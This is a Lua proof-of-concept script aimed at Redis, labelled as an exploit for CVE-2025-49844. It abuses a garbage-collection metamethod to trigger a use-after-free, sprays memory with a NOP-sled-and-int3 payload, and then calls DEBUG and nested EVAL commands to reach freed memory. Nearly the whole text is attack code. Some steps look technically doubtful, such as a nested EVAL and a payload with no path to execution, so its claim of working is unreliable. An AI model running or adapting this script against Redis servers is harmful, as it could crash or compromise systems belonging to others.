CVE-2025-49844

-- CVE-2025-49844 Redis Lua GC Manipulation PoC -- This PoC demonstrates the use-after-free vulnerability through garbage collector manipulation -- Step 1: Create initial Lua table to set up object references local victim = {} -- Step 2: Populate the table with controlled data for i = 1, 100 do victim[i] = string.rep("A", 64) end -- Step 3: Create a metatable to intercept garbage collection local mt = { __gc = function(t) -- Trigger Redis internal operation during GC to cause UAF redis.call("PING") -- Force reallocation to reuse freed memory local filler = string.rep("B", 128) redis.call("SET", "exploit_key", filler) end } -- Step 4: Set metatable on victim object setmetatable(victim, mt) -- Step 5: Clear references to trigger garbage collection victim = nil -- Step 6: Force garbage collection to trigger the vulnerability collectgarbage("collect") collectgarbage("collect") -- Step 7: Allocate new memory to occupy freed space local payload = {} for i = 1, 200 do payload[i] = string.rep("\x90\xcc", 32) -- NOP sled + int3 end -- Step 8: Trigger access to freed memory through Redis operations redis.call("DEBUG", "SET-ACTIVE-EXPIRE", "0") redis.call("EVAL", "return 1", "0") return "PoC executed - CVE-2025-49844"

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